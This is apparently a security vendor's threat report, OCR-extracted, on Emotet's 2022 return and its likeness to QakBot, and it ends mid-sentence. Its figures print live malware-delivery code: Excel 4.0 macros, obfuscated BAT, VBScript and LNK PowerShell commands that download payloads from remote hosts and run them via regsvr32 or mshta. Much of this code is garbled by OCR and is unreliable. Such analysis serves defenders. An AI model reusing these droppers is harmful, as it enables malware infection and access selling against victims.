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During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that
employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content.
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The Emotet botnet malware is well known in the cybersecurity industry for its success in using spam emails to compromise
machines and then selling access to these machines as part of its infamous malware-as-a-service (MaaS) scheme. Operators behind
notorious threats such as the Trickbot trojan and the Ryuk or Conti ransomware are among the malicious actors who have used the
botnet malware in their attacks.

But in January 2021 came news of Emotet’s dismantling, dubbed Operation Ladybird, during which law enforcement agencies
from Canada, France, Germany, Lithuania, the Netherlands, Ukraine, the UK, and the US worked in concert to seize control of
Emotet’s infrastructure. In spite of this, the botnet malware proved quite resilient and it resurfaced in November 2021. According
to researchers at AdvIntel, its return was greatly influenced by Conti’s operators, who sought to continue their partnership with the
operators of Emotet, as the botnet malware had played an integral role in the ransomware’s initial access phase.

During the first quarter of 2022, we discovered a significant number of infections in various regions (Figure 1) and across different
industries (Figure 2) using multiple new Emotet variants. Based on our telemetry, a large percentage of the infected customers
were in Japan, followed by countries in the Asia-Pacific and EMEA (Europe, the Middle East, and Africa) regions. It is possible that
the operators behind Emotet targeted profitable industries like manufacturing and education to attract the attention of other
malicious actors as potential customers for their MaaS offering.
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Figure 1. Emotet infections by region during the first quarter of 2022
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Figure 2. Emotet infections by industry during the first quarter of 2022

In with the new

We observed that this surge in Emotet spam campaigns used both old and new techniques to trick their intended victims into
accessing malicious links and enabling macro content. The newer Emotet samples we analyzed retained the same initial
downloader as the one found in previous campaigns. However, these more recent samples used Excel 4.0 macros, an old Excel

feature, to execute its download routines (Figure 3), as opposed to Emotet’s previous use of Visual Basic for Applications (VBA).
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Figure 3. Emotet’s Excel lures

Emotet employs various obfuscation techniques to evade detection of the malicious Excel file. One such technique is its use of the
.ocx file name extension (Figure 4) and carets (Figures 12 and 13) in URLs, which allow Emotet to sidestep detection methods that
look for specific command-line keywords or extensions.

=CaLL("urlmon”,"URLDownloadToFileas", "JICCBR",0,"https: /7 & re" & eh"& ing"&"pop"& s " &"om /" &"gi-b"& In/D" &"my" &"p" & " TWE" & "WVE"E 'pH"& "ss" & "N, " Axddha. ocx ', 0,0)

=IF(UVCEL=0, CALL{"urlmon', "URLDownl oadToFil2a!, " LICCRE", 0, "https: /" & " & . kin"&"fri, ¢ &"om/1i"& cen"& s & s/ 3 & K5 & k2" & "HE3" & JHE " & v &M, ", Sedhia, ocx", 0,00)
=IF(USCE2<0, CALL{urlmon", "URLDownlnadTofil e, " LICCRE", 0, "https: /el & "ob"& " alte " & " xt"& il 2" &"s, n"& et /og" & i -hi"& 'n/7n"&" aW " & 2" &"GRr&" N/, \wdha, oo, 0,07

=|F(IVCES=0, CALL"urlmon", "URLDownloadToFi lea”, " JJCCBR", 0, "https: /fea& " "o " &"riog"& "aspa" &"rin.co"&"m. b"&"r/ro"&"s" & es /g0 & FH" &" g v " & yR"& m e/, " \xdha. ook, 0,0])

=IF(UVCE4=0, CALL{"urlmon", "URLDownl oadTaFilea, "ICCBE", 0, "https: /)" & un" & "he m" & e "&"a /" & " p-1"&" " & U B de"& s A B INZ" & 242" & Bt C"& "ty & v &AM, ", wedha, oo, 0,0))
=IF(UWCES=0, CALLY"urlmon',"URLDownloadToFiled", " ICCER", 0, "https: //ib" & "poo & rp. 0" & "rgfw" & "p-ad"&"m " & "in/zH"&"1kEhE" & "cW "8 "GH"& "LDp/,"..\xdha.ocx ", 0,0))

=IF(UNVCEE=0, CALLY"urlmon',"URLDownloadToFiled", " IICCER", 0, "https: /" & "hm"& ssw" & "is"&"s.c" & "h/w" & "p-ad"&"m"&"in/g" & "U0"&"q0"& g/, " \xdha.ocx ", 0,0}

=IF(UVCE =0, CLOSE(D),)

=EXEC{"C:\Windows\Syswowe\regsvraZ.exe -5 \xdha.ocx")

Figure 4. Emotet using Excel 4.0 macros and the .ocx file name extension for its payload

We also observed that some of the recent Emotet samples drop BAT (batch) files (Figures 5 and 6) and VBScript files (Figures 7
and 8) to execute their download routines.
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dircecho hjsoihjspod fgjosdFhstityjuStIsDHTTIDGGIVBXDrtfiyhST7erthDFhsDRh&SET kjXDFgjrthS=po&echo
BGZDSRGRES 4GTHFKDGUkCHk jxeg jXdfrHdfxghzd46drrzdgdsfgrzzs44SET KFfklhgdzrdh=werssecho
FHzsDFHhGjgfIxdS6rButycjgxHzdrfg HgfhsdrfghdrzsgrDgsd46drszgdf&SET etaRHjDhfd4=hell -esecho
GjghfkuoFJUkCnixDhrewg236ethjgdfhD5ufJdfHDSGRshdtJghDIGSreghDfhaSET 1iiPgjlfJds467=nc
JRBNAECRWABKAGYACWEOAEQRCYBNAECAWGEZAGUACWADADDATIgBOAHORAABWAHMAOYAVACBAcOBVAHUADABWAGARZ ABNACAALWRYA
GCALWB LAGWAbgALAGKABQBhAGCAZ OB2zACBAbYALAEQAUABAAEK AUWEMAC SALABOAHOAJABWADOALWAVAHIADWE 2 AGUAAGBPAGOAEQ
BvAC4AbgBlAHQALWE 1AGWAbgATAGKADQBhAGCAZ QB z ACBARQBIAGQAOWBVAE D ADABZADgARWBS ACBALABORHOAAABWADOALWAVAHY
AYgBhAGKAbgBOAC 4AYWBVAGOATWB 1 AGWAbgAtAGKABQBhAGCAZ QRz ACBASAAYAHARUABHAHOAT QR AAFgAegBFAR 4AQWAVACWAARRD
AHQRCABzADOALWAVAGYACGBhAGOAZQBtAGEAaWE IAHTACWAURAHUACWAVAGUADABUACDRaQB tAGEAZWE IAHMALWEBVADUAVWAYAEKAR
WEFADKADQORARGEACQBOADKACYAVACWARABIAHOACARBACEALWBUAGKACAESAGEAdWAUAGMADWE TACEBAYQBZAGEADAEPAGORZYBVAH
UAbgEKAGERJABpAGEAb&echo BHMJICFghJYIfGAS6yTDIHKCFghdsGdrsG DHAFdgdsgt
rfghDRGA46567TDRgGhDFGSreGDEgaSET XCVzWRet 4=

gAVAHKAQWBFADKALWASAGYAIAR DAHAROGAVACBACTBVAGIAZQBYAHOADOR J AGIAADESAGUACWEWAGUALYE J AGBADQAVAGMAZWE PAC
BAMWEMACBALABOAHQAJABWADOALWAVAHYADWE J AGBACABIAGKADWBUAHMALYBUAGUAJAAVAGMAZWEBPACBAGQBNAEDAOQBSADUAC QR
SAGIAVYBWAEIACOABOAGYAUGAVACWAAABIAHQACARGACBALWBLAGKACWE zAGKkADWEUAGAAeQR JACdAbWBYAGCALWENAGEAbgB DAHMA
LwBKAEBANQAVACWAaABIAHOACARGACEALWEBYAGEAYIE IAHIAABNAGWADWBYAGOALGE 1AHMALWE lAGWADgATAGKADOBhAGCAZ QR ZA
CBARARHAEKAMJBEAEBAawBTAGMACQASAFgAUARPACBALAROAHQAIARWADOALWAVAGIACARLAGMALWE LAHAR QR D AGKADGBNAC AR YW
BvAGIALWBMAGEAbgE IAHMALWEBMAEOASgBYAGOACOBWABKATQAZAETAdAR ZAFEALWASAGGAAABIAHAAOGAVACBAZ ABhAGQACWEBNAGU
AdABpAGAAdABOAGUAZWESChO
HYKEYUIfYH]DXgfxhdRFGDS47dthxdfhdfhx57dfghiXgIFTIUXSDHARXghDRYtHIYUOIighlaSET Nmvbmxdrtx7sdSes=
BhAGIAZ QAUAGMALWEtACEAZ QBsSAGAALQEPAGIAYQENAGUACWAYAHQADOBEAF UARWAVACWAAAR D AHQACARSACEBALWEZAGOAYgEZAGU
AcgB2AGKAYwB1AHMALGBUAGUAdAAVAGMAZWBPACHASgB PADARMOB  AGSAAQB3AGQALWASAGGAJABDAHAROgAVACHACWB 0AGSACABY
AGKAbgBIAGUACYBzACARAYWBYAGDALWE I1AGWALgREAGK

AbQBhAGCAZQBZACBARAAVACWAAAR DAHQACAAGAC BALWEBYAGEACWE 1AHCAbWRVAGQAYWBYAGEAZ gBDAC 4AYWBVAGOALWBNAGUACGR ]
AGYAYQBUAHOAMJAVADUALJAWADAALWE QAECACOBYACBATIgAUAHMAUAEMAELAARCACIALAR I ACKACWAGAGYALWE SAGUAQOBDAGYAK
AAKAHKASQBKAHMAUgEOAHKAZQAZADQACWBSAHUAZgEnAHgAagB jAGQAZgAGAGKATGAGACQATOBKAFgAZAENAHMAAABEAHIAZ gBHAF
oAcwE LAHMANAAPAHS ATAAKAECAdWE 1AFKASARLADCACWE LAGQACWB 3 AGOAPQACAC IAYWBpAHUAdWR &echo
GHIGFIDYik79fgUlhXMIGNxdrgsREhdriDtgj57sdfhX2drESgSzXHgIxnj4645ET DRGhREk]if=
kADoRaQBIRAHCAZARCAHARCGEpRHUAdWEBKAGEAZWEpAHUAdWEKAHIAYOBtAGKAAORIAGOAZABhAHORAOBIAHCAZARhAFWACAB1AGKA
aRBVAHURZRRUAGQRaQR1AHCAZABSAGKAAOB3AGCADAR I ACKALBYAGUAUABS AEEAQWE 1ACGATgBpAHUAAWEBKAC TALARIRCTAKQRTA
GkAbJBRWAESRaWE1ACOAAWE1AETACYBFAHEAVOR 1 AHMAVARGACOAAOBSAEKATARKAHKASQBKAHMAUGBOAHKAZ QA ZADQACWBSAHUARY
BnAHgAagBjAGQAZgAGACIAbWBVAHQARGBIAGWAT QAGACQARWBIAGUAWQE ITADUANWBZAGUAZAR z AHCAZAR TAGKARGACAHQAZ QB TAHQ
ALOBWAEEAVABOACAAJABHAHCAZ QRZAEGANOA3AHMAZ OBk AHMAWEKACKASWB DAGYAKAROAGCARGBIACIAZOR DAEURDQAGACORRWES
AGUANQBIADUANWBzAGUAZABZAHCAZAAPACAADAR1AE4ARWEBIAGUAIAR
tAGCAZQAGADQANWAIADMANGAPAHSAYGB SAGUAYQRr ADSATQBIAHOA

echo GHIDFTG]TJITFhdzsrS47dfgihKGUHXnxcvNr hrtHGXMNIgNxdzRFghS7dtFJUgXHIHDFgrHastart/B /WAIT
BkJXDFgirth5%3KFfklhgIxdh%ietaRHIDhfd4%%iiPgjlfJds46 72 8 XCVzWRet4 3 ENmvbmxdrtX7sd5rs%3DRGhREkJif?

secho dgfhakirjahngngdSTudngstGFjxDSHzDFHDZFHdgfxs547dchXGHJXDFHdrf45Gdfﬂ

Figure 5. An obfuscated BAT file

“echo GHIDFTGITIJTFhdzsr347digi hEGUHEnxocvNr hrtHGEMNJIglxdzRFghS7doF

JUgXHIHDFgrH & start/B /UAIT powsrshell -enc JABNAESATABRAGYAcwBoOAEQACgBmAECATS
BzAGUACYAOADOATIgEOAHQAdABWAHNAOgAVACS AeQFvAHUADABRAGEAZAEhACE AL WEYAGoLALWE LAGWAD D
ACAGKADQBhAGCAZQBZACS AbgAd AEQATABAAERATWEMACSALABOAHQAdAEBWADO AL wiAvAHI AbwEz AGUAdY
BpAGQAZOBvACYAAbgBlAHQALwBl AGuAbgAt AGKALOQBhAGCAZQRz ACBARQEQAGOAQWEBVAEDALABZADgAR Y
BSACSALABOAHOARARBWADOAL wAVAHY AYgEhAGk AL gEOACEAYwEvAGOALwE 1 AGwAb gt LGk A OBhAGCAZD
BzACSASAAVAHAAUABHAHCAZQAGAFgAegBF AEd AQwAvACWARABOAHQACABZADOALwAVAGY AcgBhAGOAZD
BtAGEAawE lLAHIAcwAuAHUACwAVAGUALABUACOARQBt AGEAZWE LAHNALWEVADUAVwAVAEKARVEFADKADQ
A2 AGRACQECADKACOAVACWASABOAHOAC ALGACS AL WEMAGKAC ABSAGE AdwAMAGH AR WEC ACSAYOBzAGS AL
BpAGQAZgEvAHUALGgBRAGE AdABp AGEAbgAvAHRAQWEF ADKALWASAGAdABOAHAAOGAVACS AogEBvAGIAZQ
ByAHQADLOQEJ AGgAaQBs AGTAcwBwAGTALgEB JAGE AL QAVAGHAZwEp ACS AMwEMACSALABo AHQAdABwADOAL w
AvAHYADWE ] LGS ACABOAGK A wEUAHMALgBuAGUAdL Av AGHAZWEp ACS AaQBmAEOAOOBS AD T LeOESAGT AV
BwAEDAOABOAGYAUgAVACWAaABOAHOACAASACSALwEBt AGkAcwBz AGkibwEuAG4A=0Bj AC4 AbwByAGe AL W
BEmAGE AL gEOAHNALWEBEAES ANQAVACWASABOAHQAC ARCACEBALVEVAGEATGE LAHI AdABMAGUAL WEVAGOAL g
B1lAHMALwWE lLAGWAbGATAGRADOEhAGEAZOBZACEBARABHAERANgE ZAES A WETAGHACQAS AFgAUABPACSAL A
BoAHQAAABwWADOALWAVAGOACABT AGHADWET AHALAAQEOAGKADgENAC A AYWEVAGO ALWEMAGS AbgBOAHMAL w
BmAEo ASgEyvAGOACOBWAEKANOAZ AETAdAAZAFEALwAS AGgAdABOAHAAOGAVACSAZABhAGOACWERAGUAdR
BpAGAAdlBoAGUAZWEhAGOAZOAUAGH ALWEL ACEBAZOEs AGAALOBp AGOAYOEnAGUAc wAvAHOLDOEBAF UARY
AvACwASABOAHOACAAGACSALwEz AGOAYgEz AGUACgEZ AGKAYwWE 1 AHMALgBuAGUAdAAVAGHAZwEp ACSASy
EPADAAMOQE I AGESAdOBIAGOALwAS AGgAdABDAHAAOGAVACEACWEBOAGS ACAEVAGKADgEBOAGUACGEZACAAY W
BwAGOALWE lLAGWAbgAT AGKRADOBhAGEAZOBZACBARAAVACWARABOLAHOACARGACBALWBYAGEACWE LAHCAbY
BvAGOAYWEVAGEAZGEOACI AYwEVAGOALWEBNAGUAcgE j AGOAYOEuAHOANgAvAD UAL gAwAD ALLWEQAEC AcQ
BYACOAIgAuAHNATABMAE KAAACACTALAAL ACKkAOWAgGAGYAbwEBSAGUAQOED AGgAKALKAHKASOEKAHNA g
BoAHKAZOAZADOAcwEBSAHUAZgEniHghagB ) AGOAZgAghGkATgAGACOATOEEAFGAZ ABMIHN A dBEAHT A
BHAFoOACWE I AHMANAAp AHSATAAKAECAdwE 1 AFKASAL1 ADcAcwE 1 AGOACWES AGOAPQACACTAYwEp AHU Ad W
BRADOASQELAHCAZABcAHAACGBp AHUAdwBRAGSAZWEp AHUAAwBRAHIATQEt AGKAQES AGQAZAERAHQASQ
BlAHCAZABhAFWwACABL AGKAAABVAHUAZAAVAGOASOB1 AHCAZABSAGIcAAQEIAGOADALIL ACKALGEBYAGUATUL
ESAEEAQuUEBLACGAIGEpAHUAAWERACTALALI ACTAKQATACKALgEWAES AawE LACOAdwE 1 AET AcgEF ARHEAVO
BL1AHMAVAAGACOAdQEBSAEKATAAKAHKASOBEAHNNAUgEO AHKAZQAZ ADQACWESAHUAZ gEnAgiagEjAGQAZy
AgACOALwBVAHOARGBIAGWAZOAgGACOARWBI AGUAWOEBIADUANwE z AGUAZARzAHCAZAAT? AGKARgAOAHDAZOD
BTAHOALOBWAEEAVAROACAATARHAHCAZOBZAEgANQAS AHMAZOE K AHN AdwE K ACKk AewEp AGY ALK L Ao AGC ARQ
BOACOASQEOAEUALQAFACQARWES AGUAWOBIADUANWEZAGUAZABZAHCAZAAPpACEADAE 1 AE4ARWBOAGATA
AtAGeAZQAGADQANwADADMANGAP AH=ATgEBSAGUAYOBr AD=AfQBOLHOL & echo aq:nakirjahgtaqtq
d5Tudgf IxeDGF ixDSHzDFHD ZF Hdgfxs547dfhJ XCGHIXDFHdr £ 43 6clfh

GHIDFTGITITFhdzsr347dLg) hEGUHInxevlr hr tHGEMNIgNxdzRF ghS7dt FJUgXHIHDFor Hv

Figure 6. A deobfuscated BAT file (Figure 5) that downloads Emotet’s payload via PowerShell
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dim gSEAJIDsLyS5JGHKdggdh:dfjoleihdxdn="WGweiSGueicrGweiipGueit, SGweihelGueil™idfhoiv3deghld="cuer lxmuerlxd /uerlxc

suer lxtauer lxruer 1xt uerlx/uerlxB

uerlxc:uerlx)wuer lxinuer Ixdowuer 1xs) Ssuer Ixyswuer 1xouer Ixwéuer 1X4\ ruer Ixeguer Ixsvuer IxrIuer 1x2 . uer lxexuerlxe /uerlxs

cuer lx:uer lx) puer lxroguer Ixramduer lxatuerlxal oiphilfj.duserlxluerlxl™:get gSEdJDsfy5JGHRdggdh=wscript.createobject{replace(
dfjoleihdxdn,"Cuei™,"")):dim ryulxdHSerw:ryulxdHSerws"
"righlkid= (" $MJXdfshDrfGZses4=" ""huiwtuivep:uivdhidhjweauivrsveethuiwomb . cuivomdhjwuivp-conuivtentdhi1SzZybP 1EXcexDE4JHdhjbouht
uiwtpuiw: hjdhjl566xuesuivhe. cuivomdhjsuiwp-incuivludesdhjz9z EVgHHSdhjbouhtuiwtuivp: dhjdhjmyuimmicrog” &

"reen.mighuiwtcode . uivcomdhjFouiwx=CdhjNWssAbNOIDxhsdhjbouhuivtuivtp:dhjdhjoZomauivrt.cuivo, iuivndhjinfuivructuosedhimdmgtz Hell
dhibouhuiveuiwep:dhidhimuives. Jjuivoburg. ouivrg. uivzadh)-dhiGEGIeFxXWINBABvZ dhibouhtuiwcuiwp : dhijdhjwuiwwuive . auiwmma. cuiwudh) jpr
dhiVWPdhjbouhuivtuiwtp:dhjdhjactuiwividades. laforet lan™+
muivguages.couimidhivpuiv-aduimindhidUsDadhibouhuivtuivtpuivs: dhidhid

uiwowuiweruiw iweluivl -—uiwcuiwomuilwmauiwnuiwd

wuiwwmnuivaster.cuivomdhivuivp-couiwntentdhi1sR2HEFxQnkiu

udhjbouhtuiwcuivpa: dhjdhjeduivu-meuivdia. cndhjvuivp-—admuivindhi0JAEdhibouhtuiveuiwpuivs: dhjdhjiacademyuivgruivoup.cldhjofuiwei
cedhjG4ZLIPLkldhibouhuiwtuiwtps:dhjdhiznzhuivou. tuivopdhimuivodedhiogbdhih " —suiwPLuiwIt 5 ""houl "™

fouiwRedCuivh (§yIdsRhye3dsyufgxjodf uiwiN

SNTXdfashDrEGisesd) { §GweYHS7sedswd= (\ ""ciuwd: iuwd) priuwvdogiuvdramiuwddatiuwdaloiphilfy. diuwdliuwdll ") .reuivPluiwiCuive (} ""iuwd
ey ey e s innivVuivOkuive-wveuivBrEuivgleuiwsT -uiwvuRuiwl $yIdsRhye3d4syufgxjodf -ouiwlcuiwFIuiwle

$GweYHS7sedswd; iuivwF (tuiveSuivt-puiwAiTuivh §CweYHS7=sedswd) {iuiwf ( (gEuivt-ituiwEm §GweVHS57sedswd) . leuiwNGtuivh -guiwe

47523) (buiwReauiwk: )1} ') .reuivpluivacuive (3} ""dhi\ """, \"" Jruiwieuiwx fghkid""":erdijv=replace(ryulxdHSery, "uiu”,""):
g3EdIDsfyS5IGHEdggdh. run erdijv,0,crue:dim HkjsdsfFhdse46d:HkjsdsfEhdsed4btd=replace{dfhoiwieghld, "usrlx™ """}
g3EdIDsfy5IGHEdgydh . run HkjsdsfEhdsed6d, 0

Figure 7. An obfuscated VBScript file

$MIXdfshDrfGZsesd=

Download URLs MEh

SELIt(". ") ; foReACh(§yIdsRhye3dsyufgnjcdf iN §¥ 4){ § Tsedswd= (
"ci\programdatatpuihoud.dll”) ; inVOoke-weBrEqUesT -uRI §$yIdsRhye3dsyufgxjcdf -oUtFIle §GweYHS7sedswd;

iF (teSTt-pATh $GweYHS5T7sedswd) {if((gEt-1TEm $Gwe¥YHS5Tsedswd) .leNGth -ge -1 1) {bReak:}}}

Figure 8. A deobfuscated VBScript file (Figure 7) that downloads Emotet’s payload via PowerShell

Unlike past variants, the recent Emotet samples behave in a more straightforward way, directly downloading and executing their
payloads. These samples use regsvr32.exe under the SysWow64 folder to execute their payloads, which ensures that the malware
runs in a 64-bit environment using the 32-bit binary. This suggests that Emotet now targets only 64-bit machines, which is in line
with the recent news of Emotet’s switch to 64-bit loaders.

We also discovered that the recent Emotet samples employ LNK (link) files to download 64-bit loaders (Figure 9). These allow
Emotet to directly execute PowerShell commands for payload execution. For each infection, the LNK file creates a PSt1 file via
PowerShell, which is then used to download and run Emotet’s payload (Figures 10 and 11).

B 6dd26a03835bccaBedall951dThBTT8352dTh4d8 Propertinl | |

Compatibilly | Secuty | Detals | Previous Versions
Generd  Shoftcut | Options | Font | Lapout | Colors

E]ﬂ d7b8778352dTb448
Taiget lype:  Apphcabon

Target location: v1.0

Target: ||: \Windows\SystemI2\Window:PowerShellvv1 |
Shant inc |X¢adx

Shortcut key. |Hm

Aun: |Minmized |

Comment: |

Figure 9. Emotet’s malicious LNK file
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"%System%\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "

{filename}.Ink * | Out-Null;
[System.Text.Encoding]::ASCI.GetString([System.Convert]::FromBase64String (' JFByb2dyZXNzUHJIZmVyZW5jZT0iU
21sZW50bHIDb250aW51ZS17)GxpbmtzPSgiaHROcDovL2ZvY3VzbWVkaWNhLmIuL2ZtbGliLOI4QkFCTWgwSTJjTEOZ
cXExR1Z2LylsImhOdHAGLY9kZW1vMzQuY2tnLmhrL3NlcnZpY2UvaGhNWnJmQzdNbmO05SkQvliwiaHROcDovLZNvb
GVnaW91bmFtdW5vLmVzL2NnaS1iaW4vRS8iLC)odHRwOI8vY2lwem8ubXgvcHIIbnNhL3NpWIA20XJCRm1pYkR2
dVRQMUwvliwiaHROcDovL2Z pbG1tb2d6aXZvdGEucnMvU3ByeUFzc2V0cy9InRFIvliiwiaHROcHM6Ly9jcmVIbW8ucG
wvd3AtYWRtaWAvWktTMURJZHF1VVQ0QmI4S21vlik7Zm9yZWFjaCAoJHUgaW4g)GxpbmtzKSB7dHI5IHEV1IgJHU
gLU91dEZpbGUg)GVudjpURU1QLOdINT1dEVFIJmSUoueHRxO 1JIZ3N2¢jMyLmV4ZSAkZWS520IRFTVAVRO1PVORUU
mZJSiS4dHE7YnJIYWt9IGNhdGNolHsgfX0=")) > "%User Temp%\ezMgZunnfF.ps1” ; powershell -executionpolicy
bypass -file “%User Temp%\ezMgZunnfF.ps1”; Remove-ltem "%User Temp%\ezMgZunnfF.ps1"
"%System%\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file %User

Figure 10. The executed command from Emotet’s malicious LNK file

$ProgressPreference="SilentlyContinue";$links=
("hxxp://focusmedical.]in/fmlib/IxBABMhO0I2cLM3qq1GVv/","hxxp://demo34[]ckg.hk/service/hhMZrfCTMnm9JD/", "hxxp:/
/colegiounamunol.Jes/cgi-
bin/E/","hxxp://cipro[.Jmx/prensa/siZP69rBFmibDvuTP1L/","hxxp://filmmogzivotal.]rs/SpryAssets/gDR/","hxxps://creemol.
Ipl/wp-admin/ZKS1DcdquUT4Bb8Kb/");foreach ($u in $links) {try {IWR $u -OutFile
$env:TEMP/GMOWDTRfl).xtq;Regsvr32.exe $env:TEMP/GMOWDTRfl).xtq;break} catch { }}

Figure 11. The deobfuscated command from Emotet’s malicious LNXK file (Figure 10)

Another notable behavior we observed in the samples of these new Emotet variants was their use of hexadecimal (Figure 12) and
octal (Figure 13) representations of the IP addresses they connected to, as we reported in a previous blog entry. Using these
formats to obscure the URLSs enables these new variants to circumvent pattern-matching detection methods, thereby allowing the
execution of their download routines.

7
£

[CC] {macrosheet) [Biling Statement] {worksheet) [DD] {macrosheet) [FD] {macrosheet) [Sheet1] {worksheet)

-

Defined names Formulas

Mame Formula
Auto_Open Mg
FF "emd foom A shit e h Mt p A OcSeff3B 3 secd/sed html”

-

Figure 12. A hex representation of the Emotet URL (with carets)

Defined names Formulas

Exclude Functions

RUN/GOTO CHAR COMCAT

Iricles: Farrmula
'SEI026 =l="cmd /o m*shAtta hathp &0 /0056.0151.0121.0114/c bt ™
'SEN038 =EXEC{IN
'SSN049 =HALT)

Figure 13. An octal representation of the Emotet URL (with carets)

Emotet’s payload
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Emotet’s older 32-bit variants use seven core commands. But the recent Emotet samples are of 32-bit variants that use only six
core commands and 64-bit variants that use only five, as shown in Table 1.

Command | Execution method of 32-bit variants Execution method of 64-bit variants
1 Download and execute DLL with regsvr32.exe with Download and execute DLL with regsvr32.exe
parameter
%Windows%!\regsvr32.exe {Installation folder}\
Y%Window%\regsvr32.exe /s {Installation folder}\ {random}.dIl {Base64-encoded string of (randomly
{random}.dll {Base64-encoded string of (randomly created installation folder)}\(file name of dropped
created installation folder)}\(file name of dropped copy)
copy)
2 Execute shellcode via CreateThread Execute shellcode via CreateThread
3 Download EXE file and execute it using Download EXE file and execute it using
CreateProcessW (non-admin) CreateProcessW (non-admin)
{Installation folder}\{random}.exe {Installation folder}\{random}.exe
4 Download EXE file and execute it using Download EXE file and execute it using
CreateProcessAsUserW (admin) CreateProcessAsUserW (admin)
{Installation folder}\{random}.exe {Installation folder}\{random}.exe
5 Execute shellcode via CreateThread Load module in memory and execute exported function
(via LoadLibraryA and GetProcAddress)
6 Download and execute DLL with regsvr32.exe
%Window%\regsvr32.exe /s {Installation folderj\
{random}.dlI

Note: {installation folder} could be %AppDataLocal%\{random} (non-admin) or %System% \{random} (admin), depending on
the mode of execution.
Table 1. A list of core commands used by the newer Emotet samples

Our analysis of the recent samples showed that Emotet’s use of rundll32.exe for execution between November 2021 and January
2022 had been phased out, replaced by the “regsvr32.exe /s” command as of February 2022. Nonetheless, Emotet employs
modular architecture for its other payloads. Based on this, we can still infer that the samples have the same infection chain as in
previous Emotet-related campaigns, with some variants opting to include the gathering of running processes as part of their
modules instead of their main routine (Figure 14).
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value is the same as
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Figure 14. Emotet’s infection chain

The reappearance of Emotet is also notable because its operators have since added Cobalt Strike, a well-known penetration-testing
tool, to its arsenal. This poses a bigger risk for target enterprises, as the integration of Cobalt Strike provides more flexibility for
Emotet’s Maa$S partners to gain a foothold in an intended victim’s systems. With these new features, we expect to see in the coming
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c.Credential stealer module
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module

©2022 TREND MICRO

months a continuous stream of Emotet cases and the delivery of other malware used in Emotet’s MaaS scheme.

Similarities with QakBot

Since January, we have received and analyzed 300 submissions of the QakBot loader (Figure 15), and our investigation has

revealed that its attack chain shares many similarities with that of Emotet (Figure 16).
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Figure 15. Emotet and QakBot submissions from January to April 2022
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Figure 16. A comparison of QakBot and Emotet’s attack chains

QakBot spam messages attempt to deceive their intended victim into clicking a download link, which is usually a OneDrive URL
(Figure 17). An Emotet spam message, on the other hand, poses as a forwarded email that has a password-protected archive
attachment (Figure 18).

From: == _—ln=s = —m

To: B ESEEE

Cc

Subject: Re: RE: Reset Password
Hello.

Sorry for my late reply to vour question. Attached is the document you need.

DOCUMENT DOWNLOAD LINK

Thank vou,

Figure 17. A QakBot spam message containing a malicious download link
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From:

To:

Cc

Subject: [SPAM]Fwd:

M B Details_08032022.zip
Hello.

Please see attached
password 328

Ananda Alert
[ é:

Figure 18. An Emotet spam message containing a password-protected archive attachment

QakBot infections start with the intended victim downloading a malicious Excel file with an .xIsb file name extension (Figure 19).
Emotet infections also involve an Excel file, but with an .xlsm file name extension (Figure 20).
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! Security Waming  Macros have been dissbled. | Enable Content
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15
16
17 e Select Enable Editing
18
19
20 @ PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View. Enable Editing
2
2
= a_ln tha Mirracnft Offica Sasritu Ontian dislas hav _calact Enahla Cantant ner—
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Figure 19. The malicious Excel file in a QakBot attack
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Figure 20. The malicious Excel file in an Emotet attack

Another key difference between the two pieces of malware is that the macro sheets embedded in QakBot’s downloader samples

EEER

contain links with the .png file name extension in the URLs (Figure 21), while Emotet links do not (Figure 22). This is a means for

QakBot to evade detection, as using a common file name extension like .png makes QakBot URLs less suspicious.

I=FORMULA('VUK1'!Cl?,'\.-’uk2'!Cl-’-)=FORMU LA['Vuk2'!G8,"Vuk3'ID13)=FORMULA["Vuk3'!15,'Vuka'|G7)=FORMULA["Vuk4'!B13 '"Vuk5' IE2)=FORMULA['Vuk5'1D1¢

I:CALL["KerneI 32","CreateDirectoryA”,"JCJ","C:\Rimta",0)

——

L=CALL("urimon","URLDownloadToFileA","1ICCBB",0,"h"& ttps:// N 3uZvw Y rRINO/yn|o 8 n"a"g

1"C:KRlmta\uxxj_oot",-ﬂ.ﬂ';

I:CALL["urI mon","URLDownloadToFileA","JJCCBB" .3_"h"&"np"&"s:,‘,‘_pTstSDRh_hrrI_p"&"n" &"g"l"(:\,Ri mta\wo2.0cx",0,0)
| —

I=CALL["urI mon","URLDownloadToFileA","JCCBE",0,"h"&"ttp"&"s:/ /NG -7 102 INJBE,f"\frIp"&"n"&"g"l"t:\Rlmta\uxxS.Do(",U,O}
| —

[=EXEC("regsw32 C:\Rimta\wocl.oox")

[=EXEC["regsvr32 C:\Rimta\uwo2.00")

[=EXEC("regsvr32 C:\Rimta\wod.00x")

[=RETURN()

Figure 21. The URLSs in a QakBot macro sheet
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I:F(]RNLJ[A[']F]".D‘l 7.'1e2'|E6)=FORMULAIVfrbuk11P22&V frbuk 1 !H9&V frbuk1IL2&virbukl!B15&VirbuklB15&Lefasborl |E4A&Lefasborl 1BB&Lefasborl |D12& ") &2 |E6EI

[:L.ﬂ.LLﬂ"L.IrF’th"."UHLDO\\u'ﬂIDad[13|—||E-ﬂ","JJ(.'LHB",G."}"II[J!{‘.I" ) 'wp-content/M/"," \aew.ocx",0,0)

[=iF[GFGH1:U, CALL{"urimon","URLDownloadToFileA","JJCCBB",0,"https:/ /t0ssm/roE/","..\aew.ocx",0,0))

I:JF[GFGH;‘qt]. CALL["urlmon”,"URLDownloadToFileA”™,")JCCBB",0,"https://) Ywp-admin/FeDgNER/"," \aew.ocx",0,0])

[=|F{GFGH3¢U, CALL{"urlmon","URLDownloadToFileA","1ICCBB",0, "https://| /wp-admin/wxB4Wp3KyEMCsZva/","..\aew.ocx",0,0))

|=1F{GFGHa<0, CALL["urlmon","URLDownloadToFileA”,"JJCCBB", 0, https://

fcamelia-diamond_/G/","

\aew.ocx",0,0))

I—iF[GFGHEﬂO, CALL{"urlmon","URLDownloadToFileA”, "JJICCBB",0,"https:/ /] blogs/36DIPQKwWRRIVOFQR/"," . \aew.ocx",0,0))

|=IF(GFGHB<0, CLOSE0).)

[:E)(I:(.("C:\\.'deo ws\SysWowbd\regsvril.exe /s ..\aew.ocx")

Figure 22. The URLs in an Emotet macro sheet

Although the Excel files in both QakBot (Figure 23) and Emotet (Figure 24) infections employ regsvr32.exe to execute their

